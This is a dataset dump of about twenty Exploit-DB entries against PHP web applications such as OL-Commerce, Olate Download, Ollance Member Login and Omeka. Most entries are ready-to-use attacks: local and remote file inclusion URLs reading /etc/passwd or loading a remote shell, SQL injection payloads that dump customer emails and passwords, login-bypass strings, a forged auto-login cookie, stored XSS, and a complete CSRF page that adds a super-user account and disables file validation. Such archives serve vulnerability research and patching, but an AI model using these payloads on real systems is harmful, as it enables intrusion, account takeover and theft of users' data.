deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6543
Description: Ol BookMarks Manager 0.7.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-23
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ####################################################################
 #  [ olbookmarks <= 0.7.5 ]   Local File Inclusion Vulnerability   #
 ####################################################################
 #
 # Script site: http://sourceforge.net/project/showfiles.php?group_id=24742
 #
 # Vuln: 
 # http://site.com/olbookmarks/show.php?show=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./olbookmarks-0.7.5/show.php
 #
 # ...
 #	if ($_REQUEST[root] != "" || $_REQUEST[lib] != "") exit;
 #
 #	if ($_GET[show]!="")
 #		include("$root/$_GET[show].php");
 #	else
 #		include("$lib/bookmarkslist_view.php");
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-23]
Exploit-DB #6547
Description: Ol BookMarks Manager 0.7.5 - Local File Inclusion / Remote File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2008-09-24
Author: GoLd_M

Exploit:
#########################################
Ol Bookmarks Manager 0.7.5 RFI / LFI / SQL Injection Vulnerabilities
#########################################
POC & Vulns
RFI In (frame.php) In Line 46
	include "$_GET[framefile]";
#########################################
Ex : /frame.php?framefile=[Shell]
#########################################
LFI In (/read/frame.php) In Line 46
	include "../$_GET[framefile]";
#########################################
Ex : /frame.php?framefile=../../../../../../etc/passwd
#########################################
SQL Injection In /read/index.php?name=brian&id=
Ex : /read/index.php?name=brian&id=-0000008+union+select+1,2,3,4,password,login,7,8,9,10,12,11,13+from+preferences--
#########################################
Thanx To .. Tryag.cc/cc ..And.. All Members In TryaG 

# milw0rm.com [2008-09-24]
Exploit-DB #39346
Description: OL-Commerce - '/OL-Commerce/admin/create_account.php?entry_country_id' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info
   
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/OL-Commerce/admin/create_account.php?action=edit

POST /OL-Commerce/admin/create_account.php?action=edit  HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://www.example.com/OL-Commerce/admin/create_account.php?action=edit
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 301

default_address_id=&customers_gender=m&csID=100&customers_firstname=aaaa
&customers_lastname=bbbb&customers_email_address=email@hotmail.com
&entry_company=cccc&customers_vat_id=1212&entry_street_address=dddd
&entry_postcode=00961&entry_city=eeee&entry_country_id=118[SQL INJECTION]
&customers_telephone=12121233&customers_fax=23421424&status=0
&customers_mail=yes&payment_unallowed=&shipping_unallowed=
&entry_[CREDENTIAL_REDACTED]_comments=

[NOTE]
------
entry_country_id=118[SQL INJECTION]=118' and (select 1 from (select
count(*),concat((select(select
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1-- -
Exploit-DB #39344
Description: OL-Commerce - '/OL-Commerce/affiliate_show_banner.php?affiliate_banner_id' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info
 
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 


http://www.example.com/OL-Commerce/affiliate_show_banner.php?ref=1&affiliate_banner_id=1[SQL INJECTION]
Exploit-DB #39343
Description: OL-Commerce - '/OL-Commerce/affiliate_signup.php?a_country' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info

ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/OL-Commerce/affiliate_signup.php

POST /OL-Commerce/affiliate_signup.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/o/affiliate_signup.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 629

action=process&a_gender=m&a_firstname=haha&a_lastname=hahasdf&a_dob=457689
&a_email_address=email@hotmail.com&a_company=iiiiii&a_company_taxid=12
&a_payment_check=jjjjjj&a_payment_paypal=email@hotmail.com
&a_payment_bank_name=paypal
&a_payment_bank_branch_number=555555&a_payment_bank_swift_code=444444
&a_payment_bank_account_name=qqqqqq&a_payment_bank_account_number=3333333
&a_street_address=ddddddd&a_suburb=ccccccf&a_postcode=00961&a_city=bbbbbb
&a_country=118[SQL
INJECTION]&a_state=aaaaaa&a_telephone=22222222&a_fax=11111111&
a_homepage=http://iphobos.com/blog&a_[CREDENTIAL_REDACTED]
&a_confirmation=12121212&a_agb=1&x=65&y=3


[NOTE]
------
a_country=118[SQL INJECTION]=118' and 1=2 union all select
group_concat(customers_id,0x3a,customers_email_address,0x3a,customers_password)+from+customers--
Exploit-DB #39345
Description: OL-Commerce - '/OL-Commerce/create_account.php?country' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info
  
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/OL-Commerce/create_account.php

POST /OL-Commerce/create_account.php  HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/OL-Commerce/create_account.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 301


action=process&gender=m&firstname=aaaaa&lastname=bbbb
&dob=17.05.1991&email_address=email@hotmail.com
&company=ccc&vat=1234&street_address=dddd&suburb=eeee
&postcode=00961&city=fffff&state=gggggg
&country=118[SQL
INJECTION]&telephone=45345325&fax=234234&[CREDENTIAL_REDACTED]=12121212&x=28&y=4

[NOTE]
------
country=118[SQL INJECTION]=118' and (select 1 from (select
count(*),concat((select(select
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1-- -
Exploit-DB #30504
Description: Olate Download 3.4.1 - 'admin.php' Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2007-07-16
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/25343/info

Olate Download is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to gain administrative access to the affected application. Successfully exploiting this issue will result in the remote compromise of the affected application.

Versions prior to Olate Download 3.4.2 are vulnerable. 

OD3_AutoLogin=17225df9b911486c1ccae0378094c33a::a:3:{i:0;i:2;i:1;s:4:\"imei\";i:2;i:2;}
Exploit-DB #28730
Description: OlateDownload 3.4 - 'details.php?page' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-29
Author: Hessam-x

Exploit:
source: https://www.securityfocus.com/bid/20278/info

OlateDownload is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to inject hostile HTML and script code into vulnerable sections of the application, steal cookie-based authentication credentials from legitimate users of the site, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

OlateDownload version 3.4.0 is vulnerable.

http://www.example.com/details.php?page=%BF%27%22%28&file=1
Exploit-DB #28731
Description: OlateDownload 3.4 - 'search.php?query' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-29
Author: Hessam-x

Exploit:
source: https://www.securityfocus.com/bid/20278/info
 
OlateDownload is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to inject hostile HTML and script code into vulnerable sections of the application, steal cookie-based authentication credentials from legitimate users of the site, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
OlateDownload version 3.4.0 is vulnerable.

http://www.example.com/search.php?query=%BF%27%22%28
Exploit-DB #50966
Description: Old Age Home Management System 1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2022-06-14
Author: twseptian

Exploit:
# Exploit Title: Old Age Home Management System 1.0 - SQLi Authentication Bypass
# Date: 12/06/2022
# Exploit Author: twseptian
# Vendor Homepage: https://phpgurukul.com/old-age-home-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/projects/Old-Age-Home-MS-using-PHP.zip
# Version: v1.0
# Tested on: Kali Linux

# Vulnerable code
line 9 in file "/oahms/admin/login.php"
$ret=mysqli_query($con,"SELECT ID FROM tbladmin WHERE UserName='$username' and [CREDENTIAL_REDACTED]'");

# Steps of reproduce:
1. Go to the admin login page http://localhost/oahms/admin/login.php
2. sqli payload:  admin' or '1'='1';-- -
3. [CREDENTIAL_REDACTED]

# Proof of Concept

POST /oahms/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/oahms/admin/login.php
Cookie: ci_session=2c1ifme2jrmeeg2nsos66he8g3m1cfgj; PHPSESSID=8vj8hke2pc1h18ek8rq8bmgiqp
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=admin%27+or+%271%27%3D%271%27%3B--+-&[CREDENTIAL_REDACTED]=
Exploit-DB #6653
Description: OLIB 7 WebView 2.5.1.1 - 'infile' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-02
Author: ZeN

Exploit:
Security Advisory for 'OLIB 7 Webview'

This software is apart of Moodle.

Software - OLIB 7 WebView v2.5.1.1
Exploit  - LFI
Severity - High
Author	 - ZeN
website  - http://dusecurity.com/
Date	 - 2nd October 2008

DUSecurity Team / DarkCode


Exploit >

http://olib.site.com/cgi/?session=[session_key]&infile=[LFI]

files in dir - get_settings.ini, setup.ini(contains config file locations), text.ini


Info - You need to login to get a valid session key.


------------------
Extraz :

Moodle Permanent XSS

In Moodle blogging system, simply make a new blog entry with the title

<script>alert()</script>

Now everyone that visits the bloggins system with execute your XSS.
Go get some cookies =D

Enjoy!

------------------


Shouts :-
DUSecurity.com
DarkCode.me
Milw0rm.com
iWannaHack
WL-Group

# milw0rm.com [2008-10-02]
Exploit-DB #17466
Description: Ollance Member Login Script - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-01
Author: $#4d0\/\/[r007k17]

Exploit:
# Exploit Title: Ollance login script Multiple Vulnerabilities
# Vendor:  www.ollance.com
# Date: 1st july,2011
# Author: $#4d0\/\/[r007k17] a.k.a Raghavendra Karthik D(karthikaryabhat@gmail.com),NITK
# Google Dork: Powered by Ollance Member Login Script

**************************************** BRIEF DESCRIPTION *****************************

Ollance Member Login is a PHP membership management system. Your clients can
access your products through client area which is protected by password. You
can easy to create and manage your clients as well as protected directories.
Ollance Member Login is your solution if you have a subscription service or
providing downloadable products or even you want to make secure system for
your members.

Ollance Member Login uses PHP and MySQL for lightning fast processing. It
comes with a control panel that enables an administrator to create new user
accounts and new secured access areas, as well as manage user accounts, send
emails to members, and more. Ollance Member Login assists administrators in
handling these features with ease.
In short, Ollance Member Login offers a quick, easy, reliable way to provide
comprehensive gate keeping for any site that meets the system requirements,
so that web visitors must be authorized before entering that sites secured
areas

*********************** (Auth ByPass) SQLi Vulnerability *********************************
{DEMO} : site.com/php-member-login/admin/login.php

EXPLOIT 1:  Username:  admin' or'1=1
                password:   admin' or'1=1

             or Username: ' or 0=0 #
                 Password: ' or 0=0 #
Observe: Attackers can use Authentication Bypass to get into Admin Panel in
the site.


Persistent XSS Vulnerability
********************************
EXPLOIT 2: Persistent XSS Vulnerability in add member in admin panel

   {Demo}:  site.com/php-member-login/admin/add_member.php?msg=
">><marquee><h1>$#4|)0\/\/</h1><marquee>

 Observe: A persistent cross-site scripting vulnerability in Ollance login
Script can be exploited to execute arbitrary JavaScript.
******************************************************************************************

sp3c14l Thanks to s1d3 effects and my friends@!3.14--
**************************************************************************
Exploit-DB #3242
Description: Omegaboard 1.0beta4 - 'functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-31
Author: Mehmet Ince

Exploit:
-----------------------------------------------

Omegaboard v1.0b4 (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz - xoron.info

-----------------------------------------------

Code: 

include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );

-----------------------------------------------

POC:

www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

Exploit: Exploit coded by xoron..!

HTML
www.xoron.info/bugs/omegaboard-html.txt

PERL
www.xoron.info/bugs/omegaboard-perl.txt

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=120703

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-31]
Exploit-DB #31003
Description: Omegasoft Insel 7 - Authentication Bypass / User Enumeration
Type: webapps
Platform: php
Date: 2008-01-09
Author: MC.Iglo

Exploit:
source: https://www.securityfocus.com/bid/27210/info

Omegasoft Insel is prone to an authentication bypass vulnerability and a user-enumeration weakness.

An attacker can exploit these issues to obtain sensitive information and gain unauthorized access to the application.

These issues affect Omegasoft Insel 7; other versions may also be affected. 

Cookiename: OMEGALogon
value:[MANDATOR]%7C[CUSTOMERNUMBER]%7C[USERID]%7C%7CArial%7CArial%7C%2D%2D%2D%2D%2D%2D%7C[SURNAME]%2C+[NAME]%7C%7C%7C[LASTLOGINTIME]%7C

Cookiename: OMEGA[MANDATOR]
value: [USERID]%7C[CUSTOMERNUMBER]%7[HOST]%7C[DATE]%7C
Exploit-DB #41634
Description: Omegle Clone - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Omegle Clone - SQL Injection
# Google Dork: N/A
# Date: 18.03.2017
# Vendor Homepage: http://turnkeycentral.com/
# Software: http://www.turnkeycentral.com/scripts/omegle-clone/
# Demo: http://demo.turnkeycentral.com/omegleclone/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/randomChat.php?userId=[SQL]
# http://localhost/[PATH]/listenToReceive.php?userId=[SQL]
# http://localhost/[PATH]/typing.php?userId=[SQL]
# http://localhost/[PATH]/isTyping.php?strangerId=[SQL]
# http://localhost/[PATH]/saveLog.php?userId=[SQL]
# pc_settings :AdminID
# pc_settings :AdminPass
# pc_settings :Email
# pc_settings :PayPal
# pc_settings :IpnMode
# Etc..
# # # # #
Exploit-DB #34100
Description: Omeka 2.2 - Cross-Site Request Forgery / Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-07-17
Author: LiquidWorm

Exploit:
<!--

Omeka 2.2 CSRF And Stored XSS Vulnerability


Vendor: Omeka Team (CHNM GMU)
Product web page: http://www.omeka.org
Affected version: 2.2


Summary: Omeka is a free, flexible, and open source web-publishing
platform for the display of library, museum, archives, and scholarly
collections and exhibitions. Its 'five-minute setup' makes launching
an online exhibition as easy as launching a blog.

Desc: Omeka version 2.2 suffers from a cross-site request forgery and
a stored xss vulnerability. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'api_key_label' POST
parameter is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Kali Linux 3.7-trunk-686-pae
           Apache/2.2.22 (Debian)
           PHP 5.4.4-13(apache2handler)
           MySQL 5.5.28


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5193
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php

Vendor: http://omeka.org/blog/2014/07/16/omeka-2-2-1-security-update-released/


16.07.2014

-->


<html>
<title>Omeka 2.2 CSRF And Stored XSS Vulnerability</title>
<body>

<!-- CSRF Add Super User & Activate -->
<!-- Roles: Super, Admin, Researcher, Contributor -->

<form action="http://192.168.0.105/omeka-2.2/admin/users/add" method="POST">
<input type="hidden" name="username" value="Hacker" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="role" value="super" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="submit" value="Add+User" />
<input type="submit" value="Add Super User" />
</form>


<!-- CSRF Add Persistent XSS -->

<form action="http://192.168.0.105/omeka-2.2/admin/users/api-keys/1" method="POST">
<input type="hidden" name="api_key_label" value='<script>location.href="http://www.zeroscience.mk"</script>' />
<input type="hidden" name="update_api_keys" value="Update+API+Keys" />
<input type="submit" value="Insert Script" />
</form>


<!-- CSRF Disable File Validation -->

<form action="http://192.168.0.105/omeka-2.2/admin/settings/edit-security" method="POST">
<input type="hidden" name="disable_default_file_validation" value="1" />
<input type="hidden" name="submit" value="Save+Changes" />
<input type="submit" value="Disable File Validation" />
</form>

</body>
</html>
Exploit-DB #38025
Description: Omni-Secure - 'dir' Multiple File Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2012-11-19
Author: HaCkeR_EgY

Exploit:
source: https://www.securityfocus.com/bid/56575/info

Omni-Secure is prone to multiple file-disclosure vulnerabilities.

An attacker can exploit these issues to view local files in the context of the web server process. This may aid in further attacks.

Versions Omni-Secure 5, 6 and 7 are vulnerable. 

http://www.example.co/mpath/lib/browsefiles.php?dir=/

http://www.example.co/mpath/lib/browsefolders.php?dir=/